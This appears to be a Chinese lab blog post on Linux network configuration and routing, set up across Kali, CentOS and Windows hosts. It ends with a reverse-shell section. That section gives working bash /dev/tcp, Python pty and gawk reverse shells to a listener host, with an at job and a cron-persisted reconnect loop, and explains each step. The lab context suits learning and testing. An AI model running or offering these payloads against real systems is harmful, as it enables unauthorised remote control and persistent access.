Linux网络管理与反弹shell

Linux网络管理

一、基本概念

物理网卡(NIC, Network Interface Card)

  • 硬件实体:插在主板或扩展槽上的设备(如 Intel千兆网卡、Realtek 无线网卡)。
  • 功能:
    • 负责物理层(PHY)信号传输(如电信号、光信号)。
    • 支持数据链路层(MAC 地址、帧封装)的基础操作。

网络适配器(Adapter)

  • 软件抽象:Windows 系统中驱动程序与服务的集合,管理网卡硬件。
  • 功能:
    • 加载网卡驱动,提供 API 接口供操作系统调用。
    • 处理网络协议(如 TCP/IP)、虚拟化支持(如 Hyper-V 的虚拟网卡)。
    • 在设备管理器中显示为“网络适配器”条目。

linux中常见网络接口类型

接口类型 作用 示例
物理接口 绑定物理网卡,命名格式 ethX (传统) 或 enpXsY (一致性命名) eth0, enp3s0
虚拟接口 纯软件实现的逻辑接口
├── lo (环回) 本地通信,固定 IP 127.0.0.1 lo
├── veth (虚拟对) 成对出现,连接容器/网络命名空间 veth0-peer
├── tun/tap 用户空间网络隧道(VPN/虚拟化) tun0, tap0
绑定接口 多网卡聚合提升带宽或冗余
├── bondX 内核模式链路聚合 bond0
├── teamX 更灵活的聚合方案(用户态驱动) team0
桥接接口 模拟物理交换机,连接多个接口 br0, virbr0
VLAN 接口 基于 802.1Q 的虚拟子网接口 eth0.10 (VLAN 10)
无线接口 无线网卡驱动生成的接口 wlan0, wlp4s0

Windows中的“网络适配器分类”

类型 说明 应用场景
物理适配器 管理真实网卡硬件 服务器物理网卡
虚拟适配器 纯软件实现的逻辑接口
├── Hyper-V 虚拟交换机 连接虚拟机与物理网络 (类似 Linux bridge) 虚拟机网络
├── WSL 虚拟适配器 为 Linux 子系统提供网络栈 WSL 2 网络
├── VPN 适配器 创建加密隧道 (如 L2TP/IPsec) 远程访问
团队适配器 将多块物理网卡聚合成单一逻辑接口 带宽叠加/故障转移

linux路由

1. 核心概念

  • 路由表:存储目标网络与下一跳的映射关系,默认表 main
  • 默认网关:目标 0.0.0.0/0 的路径,用于未知流量转发。

2. 关键操作

# 查看路由表
ip route show # 推荐(现代)
route -n # 传统命令

# 添加/删除路由
sudo ip route add 192.168.2.0/24 via 10.0.0.1 dev eth0
sudo ip route del default via 192.168.1.1

# 持久化路由(各发行版不同)
# Debian/Ubuntu: /etc/network/interfaces
up ip route add 10.1.0.0/16 via 192.168.1.254

# CentOS/RHEL: /etc/sysconfig/network-scripts/route-eth0
10.2.0.0/16 via 192.168.1.253

3. 高级路由

  • 策略路由:基于源 IP/端口等条件选择不同路由表

    ip rule add from 192.168.5.100 lookup custom_table
    ip route add default via 10.8.0.1 table custom_table
  • 多网关负载均衡:结合 ip routeiptables 标记实现流量分流。

关键工具

功能 命令 用途
接口配置 ip link, ifconfig (旧) 查看/设置接口状态
IP 地址管理 ip addr, ifconfig 分配 IP 地址
路由操作 ip route, route 管理路由表
邻居表 (ARP) ip neigh, arp 查看 MAC 地址缓存
网络诊断 ping, traceroute, mtr 连通性测试与路径跟踪
高级工具 ethtool (网卡参数) 查看链路状态、协商模式等
ss (替代 netstat) 监控连接与端口

Linux 网络配置方法

类型 生效时间 持久性 适用场景
命令行配置 立即生效 重启后失效 临时调试、快速验证
文件配置 需重启网络服务 永久生效 生产环境、服务器固化管理
NetworkManager 立即生效 自动持久化 桌面环境、动态网络管理

命令行配置(临时生效)

1. 基础工具集 (iproute2)

# 查看所有接口
ip link show

# 启用/禁用接口
ip link set eth0 up
ip link set wlan0 down

# 配置IP地址(添加/删除)
ip addr add 192.168.1.100/24 dev eth0
ip addr del 192.168.1.100/24 dev eth0

# 配置默认网关
ip route add default via 192.168.1.1

2. 传统工具 (net-tools)

# 启用接口
ifconfig eth0 up

# 配置IP地址
ifconfig eth0 192.168.1.100 netmask 255.255.255.0

# 配置网关
route add default gw 192.168.1.1

3. DNS 临时配置

# 修改DNS解析(立即生效,重启失效)
echo "nameserver 8.8.8.8" > /etc/resolv.conf

文件配置(永久生效)

1. 通用配置文件

文件路径 作用 示例内容
/etc/network/interfaces Debian/Ubuntu 主配置文件 auto eth0 iface eth0 inet static address 192.168.1.100 netmask 255.255.255.0 gateway 192.168.1.1
/etc/sysconfig/network-scripts/ifcfg-eth0 RHEL/CentOS 接口配置 DEVICE=eth0 BOOTPROTO=static IPADDR=192.168.1.100 NETMASK=255.255.255.0 GATEWAY=192.168.1.1 ONBOOT=yes
/etc/resolv.conf DNS 解析配置 nameserver 8.8.8.8 nameserver 1.1.1.1
/etc/hosts 本地主机名解析 192.168.1.100 myserver.lo

服务重启命令

# Debian/Ubuntu
sudo systemctl restart networking

# RHEL/CentOS 7+
sudo systemctl restart NetworkManager # 或 network.service

# 传统方式
sudo /etc/init.d/networking restart

NetworkManager 工具集

1. nmcli (命令行)

# 查看连接
nmcli connection show

# 查看特定连接
nmcli connection show "eth160"

# 创建静态IP连接
nmcli con add con-name "eth0-static" ifname eth0 type ethernet \
ip4 192.168.1.100/24 gw4 192.168.1.1

# 配置DNS
nmcli con mod "eth0-static" ipv4.dns "8.8.8.8 1.1.1.1"

# 激活连接
nmcli con up "eth0-static"

# 启动 eth0
nmcli connection up eth0

# 禁用 wlan0
nmcli connection down wlan0

# 关闭网卡
nmcli connection reload

2. nmtui (文本界面)

sudo nmtui  # 启动交互式配置界面

3. 图形界面 (桌面环境)

  • GNOME:gnome-control-center network
  • KDE:kcmshell5 networkmanagement

发行版差异配置

Debian/Ubuntu

# DHCP 配置示例 (/etc/network/interfaces)
auto eth0
iface eth0 inet dhcp

# 静态IP 配置示例
iface eth0 inet static
address 192.168.1.100
netmask 255.255.255.0
gateway 192.168.1.1
dns-nameservers 8.8.8.8

RHEL/CentOS

# 静态IP配置 (/etc/sysconfig/network-scripts/ifcfg-eth0)
DEVICE=eth0
TYPE=Ethernet
ONBOOT=yes
BOOTPROTO=static
IPADDR=192.168.1.100
NETMASK=255.255.255.0
GATEWAY=192.168.1.1
DNS1=8.8.8.8

Arch Linux

# 使用 netctl
sudo cp /etc/netctl/examples/ethernet-static /etc/netctl/eth0-profile
sudo nano /etc/netctl/eth0-profile # 编辑配置
sudo netctl enable eth0-profile # 设置开机自启

路由实验

实验拓扑

lQLPJxq7y8Zb7uHNA17NBUqwyZuHCQGMhIQIcjQ8hfzxAA_1354_862

配置ip

Windows

设置网络适配器

image-20250807195952091

配置IP

image-20250807200311118

kali

设置网络适配器

image-20250807195845750

进入系统后首先备份配置文件

┌──(root㉿kali)-[~/Desktop]
└─# mv /etc/network/interfaces /etc/network/interfaces.back

image-20250807200631867

编写新配置文件

┌──(root㉿kali)-[~/Desktop]
└─# vim /etc/network/interfaces


# /etc/network/interfaces 文件配置内容

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 172.16.2.1
netmask 255.255.255.0
gateway 172.16.2.254

image-20250807200924360

重启服务并查看配置是否成功

┌──(root㉿kali)-[~/Desktop]
└─# systemctl restart networking

┌──(root㉿kali)-[~/Desktop]
└─# ip a

image-20250807210506021

CentOS

设置网络适配器

image-20250807200050833

进入系统后首先备份配置文件

[root@wickt 桌面]# mv /etc/sysconfig/network-scripts/ifcfg-ens160 /etc/sysconfig/network-scripts/ifcfg-ens160.back
[root@wickt 桌面]# mv /etc/sysconfig/network-scripts/ifcfg-ens192 /etc/sysconfig/network-scripts/ifcfg-ens192.back
[root@wickt 桌面]# ls -l /etc/sysconfig/network-scripts/
总用量 8
-rw-r--r--. 1 root root 312 7月 28 19:27 ifcfg-ens160.back
-rw-r--r--. 1 root root 281 7月 28 19:27 ifcfg-ens192.back
[root@wickt 桌面]#

image-20250807201853428

接着创建新配置文件并修改

[root@wickt 桌面]# vim /etc/sysconfig/network-scripts/ifcfg-ens160
TYPE="Ethernet"
BOOTPROTO="none"
IPADDR="192.168.2.254"
PREFIX="24"
DEVICE="ens160"
ONBOOT="yes"

[root@wickt 桌面]# vim /etc/sysconfig/network-scripts/ifcfg-ens192
TYPE="Ethernet"
BOOTPROTO="static"
IPADDR="172.16.2.254"
NETMAK="255.255.255.255.0"
DEVICE="ens192"
ONBOOT="yes"

完成配置后重启服务

[root@wickt 桌面]# nmcli connection reload
[root@wickt 桌面]# nmcli connection up ens160
[root@wickt 桌面]# nmcli connection up ens192
[root@wickt 桌面]# systemctl restart NetworkManager

image-20250807202754579

image-20250807203359522

image-20250807203423799

测试连通性

Win10主机与网关CentOS 8 的 ens160 网卡的通信

image-20250807203636924

kali主机与网关CentOS 8 的 ens192 网卡的通信

image-20250807210442135

kali主机与Win10主机的连通性测试

image-20250807211352455

设置路由转发

修改/proc/sys/net/ipv4/ip_forward文件

[root@wickt 桌面]# cat /proc/sys/net/ipv4/ip_forward
0
[root@wickt 桌面]# echo 1 > /proc/sys/net/ipv4/ip_forward
[root@wickt 桌面]# cat /proc/sys/net/ipv4/ip_forward
1
[root@wickt 桌面]#

image-20250807210819584

再次测试kali主机与Win10主机的连通性

image-20250807214126974

反弹shell测试

测试反弹shell能否运行

# kali
┌──(root㉿kali)-[~/Desktop]
└─# nc -lvvp 1145
listening on [any] 1145 ...


# CentOS 8
[root@wickt ~]# bash -i >& /dev/tcp/172.16.2.1/1145 0>&1

image-20250809154353245

反弹shell法一

使用python3

创建一次性计划任务

[root@wickt ~]# at now + 1 minutes
warning: commands will be executed using /bin/sh
at> python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("172.16.2.1",1145)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); import pty; pty.spawn("/bin/bash")'
at> <EOT>
job 4 at Sat Aug 9 16:12:00 2025
[root@wickt ~]#
  • 导入必要的模块:socket (网络), subprocess (进程), os (系统操作), pty (伪终端,用于获得更交互式的 shell)。
  • 创建 TCP 套接字并连接到 Kali。
  • os.dup2(s.fileno(),0/1/2): 将网络连接的文件描述符复制到标准输入(0)、输出(1)、错误(2)。
  • pty.spawn("/bin/bash"): 生成一个新的 bash 进程,并通过伪终端与其交互,这样能获得一个功能更全的交互式 shell (支持命令历史、作业控制等)。如果只需要基础 shell,可以简化为 subprocess.call(["/bin/bash", "-i"])

image-20250809161412886

kali主机显示测试

image-20250809155443965

反弹shell法二

# 首先编写脚本文件
[root@wickt 桌面]# vim /root/1.sh

#!/bin/bash

# 无限重连循环
while true; do
# 尝试连接
awk 'BEGIN {
s = "/inet/tcp/0/172.16.2.1/1145"
if (s == "") exit 1 # 连接失败退出

print "[+] Connected" |& s
while (s |& getline cmd) {
if (cmd == "exit") break

# 执行命令
cmd | getline output
while (output) {
print output |& s
if (cmd | getline output) continue
else break
}
close(cmd)
printf "shell> " |& s
}
close(s)
}' /dev/null 2>/dev/null

# 失败后等待30秒重试
sleep 30
done

接着创建周期计划任务

[root@wickt 桌面]# crontab -l
*/2 * * * * /root/1.sh


# 非脚本代码,可直接执行
awk 'BEGIN {
s = "/inet/tcp/0/[Kali_IP]/4444";
while(1) {
do {
printf "shell> " |& s;
s |& getline c;
if(c) {
while ((c |& getline) > 0)
print $0 |& s;
close(c);
}
} while(c != "exit")
close(s);
}
}' /dev/null

关键组件解析:

  1. BEGIN

    • 这是 awk 的初始化块,在读取任何输入文件之前执行
    • 我们使用 /dev/null 作为输入文件,因为不需要处理实际文件
  2. 建立连接

    s = "/inet/tcp/0/[Kali_IP]/4444"
    • 这是 gawk (GNU awk) 特有的网络功能
    • 创建一个 TCP 套接字连接到 Kali 的 IP 和端口
    • s 成为这个连接的标识符
  3. 主循环

    while(1) { ... }  # 无限循环保持连接
  4. 命令处理循环

    do { ... } while(c != "exit")
    • 持续处理命令,直到收到 “exit”
  5. 发送提示符 & 接收命令

    printf "shell> " |& s;  # 发送提示符到Kali
    s |& getline c; # 从Kali读取命令到变量c
  6. 执行命令 & 返回结果

    if(c) {
    while ((c |& getline) > 0)
    print $0 |& s;
    close(c);
    }
    • 这是最复杂的部分:
      • c |& getline:将变量 c 的内容作为系统命令执行
      • while (... > 0):逐行读取命令输出
      • print $0 |& s:将每行输出发送回 Kali
      • close(c):关闭命令管道
  7. 退出处理

    } while(c != "exit")  # 如果收到"exit"则退出循环
    close(s);

kali验证

image-20250809164915323

Author: wickt42
Link: http://example.com/2025/08/07/linux网络管理与反弹shell/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.